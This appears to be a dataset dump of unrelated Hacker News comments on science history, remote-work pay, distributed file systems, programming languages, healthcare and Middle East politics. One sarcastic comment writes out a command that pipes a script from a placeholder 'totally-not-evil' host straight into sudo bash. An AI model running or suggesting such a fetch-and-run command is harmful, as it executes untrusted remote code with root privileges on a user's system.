skysight-inc/HackerNews huggingface dataset:
Fair enough. It is absolutely wider than science.

The problem more widely, is that we trust others. Bear with me - I know this sounds bad. The fact is that we trust too much. We should be verifying all the claims that are made to us. We would soon learn discernment over what sources are trustworthy (friend's personal experiences - ie anecdotal evidence) versus evidence presented by those that govern us on the media (politicians + their megaphone the mainstream media).

This in itself is jarring - we know politicians are not trustworthy, but we think they are trying to do their best. But really what we have is a dog and pony show to distract us, and the governance is going on anyway.

The answer, in my opinion, is something like stepping up individually. We should test and present our results to those around. We would soon learn the difference between knowing and believing. And we would also learn to accept that we do not know - and that that's ok. If we don't know, that doesn't mean we have to accept any old story that's presented. We can defer acceptance as and when we have the data, without kidding ourselves. This is skepticism.
You are taking a consequentialist stance, deciding that if something has political consequences, then it is political. But literally anything could have political consequences. A solar flare could have political consequences. A fly landing on someone's hair could have political consequences. This does not mean that flies are political!

If everything is political, then the moniker "political" is meaningless.
Hard to put my finger on why this feels off. The title 'Arabic World' is strange, it's usually the "Arab world" unless they're referring to the regions where Arabic is spoken.

It then gives statistics for Iran and Turkey, neither of which are significantly Arabic speaking countries, by which point you realise they're conflating ethnic-linguistic groups with the most region's most popular religion.

So by the time it's quoting Bernard Lewis this feels like the old Zionist reductionist talking points you periodically hear from right wing conservatives bashing Islam. A quick search of the publication shows why this isn't an accident. "Islam has no tradition of separating politics and religion", well neither did Christianity, until it did.

This is not to say the state of education there is fine, nor can it be said people there are happy about it either. Every one of those countries have had nascent democracy movements crushed by their governments with the help of foreign backed interests and companies. We're supposed to buy that it's just Islam, please don't look at NSO Group and Finfisher cashing in on the strangulation of reform - reform led by, yes, students, academics and other such terrorist armies of the night.
I pay well over half my income between fed, local, state, medicare Medicaid, social security, sales, and property tax.

The United States propaganda is that we are capitalistic, when most of my money isn't controlled by me.
Probably just turning an R&D project into a marketing feature.
No. Your leap of logic is unreasonable. He was talking about Trump's supposed list of peace deals.
Buried in the article they also talk about cutting the pay of people who move away from big cities based on their "geopay" scale, a new trend that I have a hard time seeing as anything other than corporate greed we should vigorously oppose. I understand not every company can afford to do Basecamp's "pay everyone SF wages" thing, but any company can afford to set uniform pay grades at some level and one would think that the equal pay for equal work principle should apply here. One should neither receive a big city subsidy nor have their pay cut for choosing to live somewhere else.
That's a valid argument, but not the one being made in the article.
Admixture is different from ancestry.

Your kids only get half your DNA, their kids only get half their DNA, and so on. You can eventually end up with descendants who have none of your DNA.

If the genetic isopoint really was after the Neanderthals went extinct than everyone in sub Saharan Africa has Neanderthal ancestry even if none of them have Neanderthal admixture.
But you can get a coworking space in a cheaper location if that's where you want to live. (Or get a bigger place with room for an office.) Some people prefer working in a different location than they're living.
ESXi Arm Edition on Raspberry Pi 4
Their architecture descriptions starts with a strawman:

> Usually distributed file systems split each file into chunks, a central master keeps a mapping of filenames, chunk indices to chunk handles, and also which chunks each chunk server has.

> The main drawback is that the central master can't handle many small files efficiently, and since all read requests need to go through the chunk master, so it might not scale well for many concurrent users.

The chunk server architecture has been first put into production with the Google File System AFAIK. And it has been designed specifically for large files (what search needed at that time). So no surprise.

But that's only one architecture for a DFS. There are also block-based DFS (like GPFS),
object-based DFS (Lustre.), cluster file systems (OCFS), and other architectures. They exhibit other characteristics.

Telling from the architecture and Wiki, it does not seem to be a file system at its core, but an object store with a file translation layer. One of the core problems of this approach is that in-place updates usually mean read-modify-write (if the object store has immutable objects, like most have, with Ceph being a notable exception).

From the replication page:

> If one replica is missing, there are no automatic repair right away. This is to prevent over replication due to transient volume sever failures or disconnections. In stead, the volume will just become readonly. For any new writes, just assign a different file id to a different volume.

This sounds like the architecture and implementation is still pretty basic. Distributed storage without redundancy (working redundancy!) is not that interesting.

Sorry to be that critical (great that someone writes a distributed file system!), but I think it is important to add some context. And the seaweed auther seems to have problems with bold statements either...

Disclaimer: I also work on a distributed file system (with unified access via S3 ;)
I've also mostly been at organizations where it was never a problem. I believe traditionally FANG have been resistant even to the part-time remote model.
There have been many different attempts to solve the Israel/Palestine conflict and its many associated issues. Every US president has a go and having yet another attempt doesn’t win anyone awards until real results & a resolution between the parties involved in the conflict is achieved.

There was no big win here, Bahrain & UAE already had relationships with Israel, they were not in conflict. At best it can be described as possibly a small contributing factor to a future solution, if many other, much bigger and more relevant arrangements can be made. In reality not much has progressed. If anything, the few handshakes and promises made were a smokescreen for the unhappy status quo to go on as it was before.
I would guess that Islam have no issues with good science, right?

In my opinion, blaming religion for any decline of science is completely accepted even if there's no direct correlation between both, which is very bad because it's creates a false believe that religious people aren't educated.
I've been thinking about part-time work lately too, which makes me wonder: Which US companies/organizations offer part-time jobs with benefits?

I work as a patent examiner right now and I noticed that the USPTO might let you switch to part-time with full benefits (that you pay more out of pocket for) after you reach GS-11. It requires approval, they have a limited number of slots for it, and the vast majority of the slots for it require a justification like parenting or eldercare.

The minimum number of hours you can work per week is 16 in the program, and you can choose which days you work. To maximize federal holidays off, pick Monday and Thursday as work days. (I think examiners need to work Thursdays from 1-2 pm due to USPTO rules, and you also get Thanksgiving this way.)

You can find some information about the USPTO's part-time program here: http://www.popa.org/about/work-life-balance/part-time-progra...

(The USPTO is also well-known for their work-from-home program.)
US House majority leader questions Trump's fitness to serve
Well it got rid of insurers denying coverage or charging more for pre-existing conditions, which is obviously the morally right thing to do, but is roughly like being able to buy fire insurance while your house is already half burned down. IMO the conclusion is just that insurance is a bad model for healthcare coverage.
I'd say the invention of the printing press had a far more profound influence.
Julia is definitely a fair counterpoint to my comment about C, but I don't think it really has comparable ubiquity to numpy + Python and C/C++ in the computational science/numerical computing communities. What is nice about ubiquity is that if I need to use a rather esoteric numerical technique for research, odds are there are at least prototypes for it already made in numpy + Python or C/C++, if not a fully-fledged, well tested package for it.

Julia might be catching up there. I hope so, because I do think my area of computational science would benefit from not only relying on 1 or 2 programming language ecosystems for 99% of all work.
Human 'microevolution' sees people born without wisdom teeth and extra artery
What I wrote about is forfeiture which doesn't include criminal penalties. Most of the American (which I am not) federal press releases I read about have a maximum $250,000 fine per count.

Here is a random press release from justice.gov https://www.justice.gov/opa/pr/six-additional-individuals-in...

>The Sherman Act offense charged carries a statutory maximum penalty of 10 years in prison and a $1 million fine for individuals. The maximum fine may be increased to twice the gain derived from the crime or twice the loss suffered by victims if either amount is greater than $1 million. The false statements offense charged carries a statutory maximum penalty of 5 years imprisonment and a $250,000 fine. The obstruction of justice offense charged carries a statutory maximum penalty of 20 years imprisonment and a $250,000 fine.

These fines are on top of the forfeiture so if the person in this article earned $1 million gross, $100k net they would have to repay on a guilty finding $1 million + say $500k in fines = $1.5m when they only "earned" $100k.
Mailbox Fire Drill
There's a lot more information here: https://github.com/facebookincubator/CG-SQL/tree/master/CQL_...
> had no problem working with dictators who are the main reason for the decline of scientific study in the region.

If you get rid of the dictator you end up like Iraq and Libya after Saddam and Gaddafi were removed. Its better to deal with the devil you know.
The Shift from Polyrepos to Monorepos
I'm from an arab country and half of my family studied Math/Physics in university. My aunts (3 of them) either teach physics or have a phd in Maths. Same on my father's side.

In fact, you would be considered a loser if you didn't have a degree or knew maths really well in my family. Which I don't agree with.

The problem in the arab world is more political, with a bunch of people staying in power and using media and force to stay in power. It also doesn't help that the west cry for more democracy but propels and supports those same dictators to stay in power to help their interests.
They're not addicted to Facebook you just don't like that the social landscape is changing. Calling people was terrible compared to the convenience of social media, sure it was more intimate but most people aren't looking for intimacy in every interaction they have with their friends. A lot of the time they just want to shoot the breeze. People like memes, seeing what trendy garbage with avacado on top their friends ate, and they like having an easy way to coordinate a group meetup without making ten phonecalls.

I recognize that some people do get addicted to social media but for most people the only thing they're addicted to if anything is convenience. We're already at a point where many people feel more comfortable giving out their public insta than their phone number to new acquaintances because of how much more control they have if things go badly. Before social media parents were complaining that cell phones were turning their kids into shut-ins who just wanted to text all day instead of having real conversations. The whole dialogue is just another repeat of people feeling like something must be wrong because it's not how they think the world should be.
I think there are reasons to make either choice (one global salary vs a localized market salary).

The former optimizes for fairness/equality of continuing employees and takes the "what is the value of the work?" as the foremost question.

The latter puts the focus on "what is the market price [the next-best-alternative] for this employee?" and tries to ensure that you don't have unhappy employees staying longer than either side would prefer because they are "stuck" with a salary that they can't match in any other opportunity available to them and so do just enough to not get fired.
Obamas administration was far more destructive to world peace than Trump who talks a lot of rubbish but haven't dragged America to new conflicts and wars. Also getting rid of that war hawk Bolton itself deserves far more Nobel peace prize.
Until the non-existent hair runs onto a road or in front of a moving wheelchair. Just throw a ball. For most digs, the fun isn't in the actual game but the joy of playing it with the human.
Using middle out compression?
The reason for this is that historically most civilizations, or phases of civilizations have lacked two things. One is the strong, persistent social institutions needed to maintain the momentum of scientific progress. The other is a solid socialised understanding of scientific methods. To maintain consistent scientific and engineering development you need both, and possibly a third in the from of the printing press, otherwise advances are at the whim of individual people, their influence and attitude to methods.

Solid rational investigative techniques go back a very long way. Even the Romans had a good understanding of how to prove a theory. Galen's work on the renal system for example involving public demonstrations on live pigs. The Antikethyra mechanism shows how advanced engineering could be in the Greek world at the time. The problem was there was no institutionalisation and formalisation of these methods to enable their systematic and sustained application, so they melted away when the thinkers and artisans, or small groups of them that made these advances died or disbanded. In the Arab world yes there were universities and medical schools, but these were the personal projects of particular rulers and their favourites that lasted a while and then melted away.

There was nothing wrong with the Arab world, or ancient China, or India. It's just that the several necessary ingredients for sustained progress in science happened to come together in Europe first.
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Heterodox explanation:

> ”Nothing in Europe,” notes Jamil Ragep, a professor of the history of science at the University of Oklahoma, “could hold a candle to what was going on in the Islamic world until about 1600.”

Before the portuguese (1498-1974?) and the spanish (1492-1976?) overseas empires, the arab world was in the middle of the prime trade routes between asia and europe. Afterwards, their status as middleman was increasingly cut out (especially once the dutch and then british got into the maritime empire game).

Science happens where there are rich people; rich people happen where there are bottlenecks in trade.

As they say in the asteroid belt: na desh walowda walowda peyeting; imim na xunyam sasating?
A new normal, data-driven development
When god has all the answers you lose agency.
Surely you can provide examples then?

I am wondering the same thing myself; it's not obvious to those of us not looking for vulnerabilities in other people's systems what the use of it is at internet scale.

Flashlights are used by normal people for strictly local, very closely defined location illumination. We don't turn them on and light up the whole world.
Thank you. I always get heavily downvoted as I don't think others are as open minded to hearing a different viewpoint as you.

I agree too. But, I see science as an individual's pursuit. I really mean it when I say that science is something one should verify personally. Whenever you don't do that, you are accepting a story - without testing you cannot know anything, it is all in the realm of belief.

And you are right that most belief whether it is science/magic/religion its all the same thing. They want to naively trust and have faith. It would be endearing if it wasn't also susceptible to meaning that they can be lead as a herd. As an individual, it is very hard to stand against the herd. Whether that is avoiding being drowned as a witch, or being forced to vaccinate oneself for the good of the herd.
I keep reading about up and coming Julia programming language a did a quick read through of the article. Coming from a programming background I was interested in what ways Julia was different from python and more mainstream Java.

One thing that would've made things easier to understand would've been comparing Julia's multiple dispatch to Java's dynamic dispatch(they're more or less the same from what I gather). Great article over-all, easy to understand for the layman.
That was a great and touching read. Thanks for the link.
> A decade or so after that everyone and their aunt has a linux computer in their pocket.

...but only because a company came along and ensured that development focuses on what the user wants.
Muslim science is not Arab science. Muslim world is not Arab world. In general, Muslim =/= Arab, and Arab =/= Muslim. However, Arabs do spend quite a lot of money in various quarters and apparently are deep into a cultural appropriation program of denuding all other Muslim nations of their substantial claims (more than actual Arab scientists) to “Islam’s Golden Age”.

> Indeed, most of the greatest thinkers of the era were not ethnically Arab.

Yet the author perversely chooses to call it Arab science, and Arab Golden Age.

He then puts forward a completely unsupported theory that this is because “for several centuries throughout the Middle East, Muslims were a minority”.

Let’s follow Hillel’s tortured logic here:

- Most of Muslim thinkers of Muslim Golden Age were not Arabs.

- This is because Muslims were a minority in Middle East.

- Thus we need “caution” before we go ahead and call them Arab Scientists.

It is also necessary to correct Hillel’s implicit that most “Arab Scientists” were non-Muslim non-Arabs. The fact remains that most of these non-Arabs were Muslims.

Hillel is invited to offer a list of non-Muslim “great thinkers” of the era.

Arab money is making a mess in all sort of places. But it will not be permitted to mess with the history and heritage of the Muslim nations.
no it is not. the deal was specifically a hedge for Israel's leadership against an unknown future for the trump administration in the US. they may as well have got Texas to sign a deal with Massachusetts.
I agree with this so much. I have been working part time for almost a year now to rebuild a house and it has been very nice. It always seemed weird to me that people make such high salaries in tech but just don't value time as the main commodity of our lives. The reality is that if you move to a low CoL area and work part-time you will almost certainly be happier.

But this doesn't mean you are idle the rest of the time. It means you can pursue what you love. We place way to much value in jobs as an end rather than as a mean to an end IMO. I tend to believe that the work week should have been reduced decades ago.
Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.
"pretty okay" is unfortunately about the best you'll find, and even that can be iffy depending on where you are.

If someone's work is truly all-remote I'd seriously recommend looking into residency visas to places with functioning governments and healthcare. I'm currently working remotely at a US client from several locations in the Pacific.

I just had a complete auditory workup to diagnose some recent hearing changes that included consultation with a US-educated doctor, and some medication, and the total cost without any sort of insurance was ~250 USD. My monthly insurance premium at home is 400 USD and likely wouldn't even have covered half of that, because fuck you, that's why.
Yeah, with no industry events, it sure was impossible for them to spawn a hundreds-of-comments HN thread with their announcement video yesterday....
Was $77 the entire price of the healthcare coverage? Or was that just the portion that you paid?
Faith based, other than the dead people.

And the NYE party I host is also made up of billionaires on average if Bezos shows up.

Also, 0.35% means that if everyone in the US contracts it that's a million dead people. And that's only from the disease.

Millions more will die because of the medical resources tied up with taking care of the sick and those who don't die. Arguably, more people will die because of the one person who takes up 20 days of ER resources and survives COVID than the person who shows up and dies of COVID on the first day.

Which is exactly what happened in the hotspots which were hit first and hard in Europe and North America.
First study with exoplanet satellite data describes the most extreme planets
I like globalism, I think it's good for most humans. However I can't help to think that quickly US workers will be replaced with our lower cost English speaking alternatives.

The only advantage that US workers have, is that up until now, programmers and Engineers have been managing/teaching/leading their counterparts. This is the skill employers are paying the big $$ for.

However, this stops now, no new generation of US leadership. Why hire a junior US engineer? They have never been a leader.
We’re talking about the Israeli-Palestinian conflict here. There is sustained and ongoing armed conflict between two or more groups. So yes, to win the peace prize for solving the Israeli-Palestine situation you have to have actually stop the conflict. There is no peace to maintain, and impossible to prevent a war that has already happened.
Not listening and getting rid of Bolt? Anyone who was alive during Bush administration all around the world, and want world peace, cheered for the decision.
Nonsense, Egypt had a democratic elected president (which I didn't support), who won in a fair elections.

And it is very funny that you mentioned two countries which the US were responsible for their destruction.
When Jim Anderson left AMD to take on CEO at Lattice I invested heavily in them with the thesis that there would be an eventually merger. Unsure what to do now
There are about 60 or 70 different uses that people have come up with.

That many? I'm aware of a few 'alternative uses' for DNS but wasn't aware that there were so many. Anyone here know of some?
Roger Ehrenberg on VC distribution strategies
Preach, brother.

I’m cautiously optimistic that JAX (or something like JAX) can save the python programming language from stagnation by essentially building a feature-complete reimplementation of the language with JIT and autograd baked into the core. I’m praying that Google diverts like 10% of TF’s budget to JAX.

That way I don’t have to learn to love a bunch of unnecessary semi colons and “end”s littering up my beautiful zero-indexed code ;-)